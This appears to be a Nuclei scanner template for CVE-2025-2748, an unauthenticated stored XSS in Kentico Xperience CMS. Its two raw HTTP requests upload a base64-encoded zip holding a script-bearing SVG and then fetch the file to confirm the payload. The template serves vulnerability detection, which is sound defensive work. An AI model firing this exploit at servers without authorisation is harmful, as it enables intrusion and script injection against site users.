Kentico Xperience CMS - Unauthenticated Stored XSS

id: CVE-2025-2748

info:
  name: Kentico Xperience CMS - Unauthenticated Stored XSS
  author: iamnoooob,rootxharsh,pdresearch
  severity: medium
  description: |
    The Kentico Xperience application does not fully validate or filter files uploaded via the multiple-file upload functionality, which allows for stored XSS.This issue affects Kentico Xperience through 13.0.178.
  impact: |
    Unauthenticated attackers can upload malicious SVG files containing JavaScript payloads that persist on the server, allowing stored XSS attacks when the files are accessed by authenticated users.
  remediation: |
    Upgrade to Kentico Xperience version 13.0.179 or later that properly validates and sanitizes uploaded files.
  reference:
    - https://labs.watchtowr.com/xss-to-rce-by-abusing-custom-file-handlers-kentico-xperience-cms-cve-2025-2748/
    - https://devnet.kentico.com/download/hotfixes
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2025-2748
    cwe-id: CWE-79
    epss-score: 0.59066
    epss-percentile: 0.98999
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="Kentico-CMS"
  tags: cve,cve2025,kentico,xss,unauth,intrusive,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |-
        POST /CMSModules/Content/CMSPages/MultiFileUploader.ashx?Filename={{randstr}}.zip&Complete=false HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/octet-stream

        {{base64_decode('UEsDBBQAAAAIADR5gVqiOVAGEwEAAHwBAAAHABwAeHNzLnN2Z1VUCQADc8nrZ033sWd1eAsAAQT1AQAABBQAAABtkEFPAjEQhe/7K8bxognudAUO6C4kAiEmRklEjcfKlqVa2k1bWPj3zrIXD/bUvHnzvdfmk+POwEH5oJ0tMEsFQojSltI4qwq0DifjJL+YvUxXn8s5hEMFy7eHp8cp4A3RR39KNFvN4PV9AVmaEc2fEXAbY31H1DRN2vRT5ytaeFlv9ToQG6k18hIxLMvSMpY4TpK8Rf8pkiF8yaCW3m204SabvTEI3NaG4p+AWyFEC2QUAOS1M6fKWdBlgdFraSujEGqnbeR10RMgekMBQ74hcIAp8FKI0Uic3+/djzoLgwEL1CHD2us6QjzVPIvqGOlbHmSndql8pFE+XpVuvd8pG9PS7aS21/dnAHVe/s626Dj5BVBLAQIeAxQAAAAIADR5gVqiOVAGEwEAAHwBAAAHABgAAAAAAAEAAACkgQAAAAB4c3Muc3ZnVVQFAANzyetndXgLAAEE9QEAAAQUAAAAUEsFBgAAAAABAAEATQAAAFQBAAAAAA==')}}

    matchers:
      - type: status
        internal: true
        status:
          - 200

  - raw:
      - |
        GET /CMSPages/GetResource.ashx?image=/App_Data/CMSTemp/MultiFileUploader/00/00000000-0000-0000-0000-000000000000/[{{randstr}}.zip]/xss.svg HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "alert(document.domain)"

      - type: word
        part: content_type
        words:
          - 'image/svg+xml'
# digest: 4a0a004730450220110ee40baf39da1ed8f7fcbae0b89774462f21d0fc6892ed341772f1558a17df0221008f30f1fb45b4a3d220262213ce83e9a93c7ffbde070edd7159ff432c398bffe2:922c64590222798bb761d5b6d8e72950